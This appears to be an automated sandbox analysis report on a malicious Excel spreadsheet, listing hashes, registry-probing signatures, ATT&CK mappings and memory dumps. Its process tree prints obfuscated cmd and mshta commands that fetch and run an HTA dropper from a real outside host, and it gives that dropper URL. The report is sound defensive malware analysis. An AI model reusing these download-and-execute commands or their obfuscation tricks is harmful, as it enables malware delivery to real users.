37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df

General

Target

37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df.xls
Size

70KB
MD5

ec69dd36d403ff935e21af4b23295271
SHA1

2543243d16a989808026a0932597667b552360c4
SHA256

37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df
SHA512

e37ef580741746d929456ab19d44c1ce9ed928227ad0c2618a61882cfd5ce7c069e3a74568e2a6496aa0c88942c9cd7b4c1a36d96cca817c238a2d78fa05861d
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4436	1692	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	2176	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1692	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 4436	1692	EXCEL.EXE	83
PID 1692 wrote to memory of 4436	1692	EXCEL.EXE	83
PID 4436 wrote to memory of 2176	4436	cmd.exe	85
PID 4436 wrote to memory of 2176	4436	cmd.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1692-2-0x00007FFDBCE10000-0x00007FFDBCE20000-memory.dmp

Filesize
64KB

Download
memory/1692-1-0x00007FFDBCE10000-0x00007FFDBCE20000-memory.dmp

Filesize
64KB

Download
memory/1692-4-0x00007FFDBCE10000-0x00007FFDBCE20000-memory.dmp

Filesize
64KB

Download
memory/1692-5-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-8-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-7-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-10-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-9-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-11-0x00007FFDBABF0000-0x00007FFDBAC00000-memory.dmp

Filesize
64KB

Download
memory/1692-6-0x00007FFDBCE10000-0x00007FFDBCE20000-memory.dmp

Filesize
64KB

Download
memory/1692-0-0x00007FFDBCE10000-0x00007FFDBCE20000-memory.dmp

Filesize
64KB

Download
memory/1692-12-0x00007FFDBABF0000-0x00007FFDBAC00000-memory.dmp

Filesize
64KB

Download
memory/1692-3-0x00007FFDFCE2D000-0x00007FFDFCE2E000-memory.dmp

Filesize
4KB

Download
memory/1692-14-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-13-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-18-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-22-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-21-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-20-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-19-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-17-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-16-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-15-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download
memory/1692-33-0x00007FFDFCD90000-0x00007FFDFCF85000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads